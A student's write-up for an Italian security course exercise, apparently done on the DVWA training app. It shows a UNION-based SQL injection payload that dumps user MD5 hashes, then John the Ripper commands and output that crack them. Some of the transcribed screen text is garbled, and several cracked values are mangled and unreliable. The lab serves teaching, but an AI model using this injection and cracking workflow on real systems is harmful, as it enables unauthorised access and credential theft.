

ESERCITAZIONE W14D1 (1)

Traccia: password cracking

Abbiamo visto come sfruttare un attacco SQL injection per recuperare le password degli utenti di un determinato sistema.

Se guardiamo meglio alle password trovate, non hanno l'aspetto di password in chiaro, ma sembrano più hash di password MD5.

Recuperate le password dal DB come visto, e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro.

Sentitevi liberi di utilizzare qualsiasi dei tool visti nella lezione teorica.

L'obiettivo dell'esercizio di oggi è craccare tutte le password trovate precedentemente.

Consegna:

1. Screenshot dell'SQL injection già effettuata
2. Due righe di spiegazione di cos'è **questo** cracking (quale tipologia / quale meccanismo sfrutta)
3. Screenshot dell'esecuzione del cracking e del risultato

1) Ho recuperato le password cifrate in hash con la SQL INJECTION (1' UNION SELECT user, password FROM users#)

[Home](#)[Instructions](#)[Setup / Reset DB](#)[Brute Force](#)[Command Injection](#)[CSRF](#)[File Inclusion](#)[File Upload](#)[Insecure CAPTCHA](#)[SQL Injection](#)[SQL Injection \(Blind\)](#)[Weak Session IDs](#)[XSS \(DOM\)](#)[XSS \(Reflected\)](#)[XSS \(Stored\)](#)[CSP Bypass](#)[JavaScript](#)[Authorisation Bypass](#)[Open HTTP Redirect](#)

Vulnerability: SQL Injection

User ID:

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netenforcer.com/blog/web-security/deep-injection-cheat-sheet/>

2) Ho creato un file di testo con le cinque password cifrate in hash:

```
kali@kali: ~  
le Actions Edit View Help  
GNU nano 7.2 hashes.txt  
5f4dcc3b5aa765d61d8327deb882cf99  
e99a18c428cb38d5f260853678922e03  
8d3533d75ae2c3966d7e0d4fcc69216b  
0d107d09f5bbe40cade3de5c71e9e9b7  
5f4dcc3b5aa765d61d8327deb882cf99  
assword FROM users# Submit  
UNION SELECT user, password FROM users#  
me: admin  
admin  
UNION SELECT user, password FROM users#  
me: admin  
5f4dcc3b5aa765d61d8327deb882cf99  
UNION SELECT user, password FROM users#  
me: gordonb  
e99a18c428cb38d5f260853678922e03  
UNION SELECT user, password FROM users#  
me: 1337  
8d3533d75ae2c3966d7e0d4fcc69216b  
UNION SELECT user, password FROM users#  
me: pablo  
0d107d09f5bbe40cade3de5c71e9e9b7  
UNION SELECT user, password FROM users#  
me: smithy  
5f4dcc3b5aa765d61d8327deb882cf99  
[ Read 9 lines ]  
Help Write Out ^W Where Is ^K Cut ^T Execute  
Exit Read File ^R Replace ^U Paste ^J Justify
```

3) infine ho usato il programma John the Ripper per decifrare le password con questi comandi da terminale:

```
kali@kali: ~  
File Actions Edit View Help  
5f4dcc3b5aa765d61d8327deb882cf99  
  
(kali@kali)-[~]  
$ john --format=raw-md5 hashes.txt  
Created directory: /home/kali/.john  
Using default input encoding: UTF-8  
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2  
8x3])  
Warning: no OpenMP support for this hash type, consider --fork=4  
Proceeding with single, rules:Single  
Press 'q' or Ctrl-C to abort, almost any other key for status  
Almost done: Processing the remaining buffered candidate passwords, if any.  
Proceeding with wordlist:/usr/share/john/password.lst  
password (?)  
password (?)  
abc123 (?)  
letmein (?)  
Proceeding with incremental:ASCII users#  
charleyadmin (?)  
5g 0:00:00:00 DONE 3/3 (2024-03-12 14:49) 17.24g/s 615000p/s 615000c/s 62029  
6C/s stevy13..candake  
Use the "--show --format=Raw-MD5" options to display all of the cracked pass  
words reliably  
Session completed.  
  
(kali@kali)-[~]  
$ john --show --format=raw-md5 hashes.txt  
?:password  
?:abc123  
?:charleylo  
?:letmein109f5bbe40cade3de5c71e9e9b7  
?:password  
5 password hashes cracked, 0 left
```